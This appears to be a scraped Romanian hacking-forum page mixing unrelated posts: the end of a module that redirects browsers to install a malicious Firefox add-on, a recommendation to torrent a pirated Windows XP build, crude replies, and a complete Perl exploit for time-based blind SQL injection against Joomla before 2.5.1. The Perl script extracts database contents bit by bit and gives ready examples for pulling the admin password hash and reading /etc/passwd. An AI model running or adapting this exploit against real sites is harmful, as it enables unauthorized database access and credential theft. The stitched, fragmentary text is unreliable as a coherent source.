to view this page. <a href="addon.xpi">[Install]</a></p></center>\n| html << %Q|<script>window.location.href="addon.xpi";</script>\n| html << %Q|</body></html>| return html end end sursa: bugsearch.net

recomand Microsoft Windows XP Professional SP3 Integrated March 2012 (download torrent) - TPB Testat buildurile mai vechi pe mai multe pcuri/laptopuri

Bine ai venit.Nu te sfii sa postezi daca stii ce si cum sa scrii.Succes

Ce entuziasmat si ce tare se crede el .Pula mea...eu iti doresc noroc dar... ps: te cunoaste cineva de pe scara?...ai ceva ciudat in atitutine. ''mi s-a facut dedicatie'' - sa moara dusmanii mei

File: #!/usr/bin/perl # Thu Mar 15 22:55:32 CET 2012 A. Ramos <aramosf()unsec.net> # www.securitybydefault.com # Joomla <2.5.1 time based sql injection - vuln by Colin Wong # # using sleep() and not benchmark(), change for < mysql 5.0.12 # # 1.- Database name: database() # 2.- Users data table name: (change 'joomla' for database() result) # select table_name from information_schema.tables where table_schema = "joomla" and table_name like "%_users" # 3.- Admin password: (change zzz_users from previus sql query result) # select password from zzzz_users limit 1 use strict; use LWP::UserAgent; $| = 1; my $url = $ARGV[0]; my $wtime = $ARGV[1]; my $sql = $ARGV[2]; unless ($ARGV[2]) { print "$0 <url> <wait time> <sql>\n"; print "\texamples:\n"; print "\t get admin password:\n"; print "\t\t$0 http://host/joomla/ 3 'database()'\n"; print "\t\t$0 http://host/joomla/ 3 'select table_name from information_schema.tables where table_schema=\"joomla\" and table_name like \"%25_users\"\'\n"; print "\t\t$0 http://host/joomla/ 3 'select password from zzzz_users limit 1'\n"; print "\t get file /etc/passwd\n"; print "\t\t$0 http://host/joomla/ 3 'load_file(\"/etc/passwd\")'\n"; exit 1; } my ($len,$sqldata); my $ua = LWP::UserAgent->new; $ua->timeout(60); $ua->env_proxy; my $stime = time(); my $res = $ua->get($url); my $etime = time(); my $regrtt = $etime - $stime; print "rtt: $regrtt secs\n"; print "vuln?: "; my $sleep = $regrtt + $wtime; $stime = time(); $res = $ua->get($url."/index.php/404' union select sleep($sleep) union select '1"); $etime = time(); my $rtt = $etime - $stime; if ($rtt >= $regrtt + $wtime) { print "ok!\n"; } else { print "nope \n"; exit 1; } my $lenoflen; sub len { # length of length for (1..5) { my $sql=$_[0]; $stime = time(); $res = $ua->get($url."/index.php/404' union select if(length(length(($sql)))=$_,sleep($wtime),null) union select '1"); $etime = time(); my $rtt = $etime - $stime; if ($rtt >= $regrtt + $wtime) { $lenoflen = $_; last; } } for (1..$lenoflen) { my $ll; $ll=$_; for (0..9) { my $sql=$_[0]; $stime = time(); $res = $ua->get($url."/index.php/404' union select if(mid(length(($sql)),$ll,1)=$_,sleep($wtime),null) union select '1"); $etime = time(); my $rtt = $etime - $stime; if ($rtt >= $regrtt + $wtime) { $len .= $_; } } } return $len; } sub data { my $sql = $_[0]; my $len = $_[1]; my ($bit, $str, @byte); my $high = 128; for (1..$len) { my $c=8; @byte=""; my $a=$_; for ($bit=1;$bit<=$high;$bit*=2) { $stime = time(); # select if((ord(mid((load_file("/etc/passwd")),1,1)) & 64)=0,sleep(2),null) union select '1'; $res = $ua->get($url."/index.php/404' union select if((ord(mid(($sql),$a,1)) & $bit)=0,sleep($wtime),null) union select '1"); $etime = time(); my $rtt = $etime - $stime; if ($rtt >= $regrtt + $wtime) { $byte[$c]="0"; } else { $byte[$c]="1"; } $c--; } $str = join("",@byte); print pack("B*","$str"); } } $len = len($sql); print "$sql length: $len\n"; print "$sql data:\n\n"; data($sql,$len); Copyright 2012 - BugSearch About Us - Tell a Friend - Send sursa: BugSearch

Chiar ma intrebam daca mai exista alonia.Probabil colaboram pe viitor sa vad cum mai stau cu calitatea serviciilor romanasii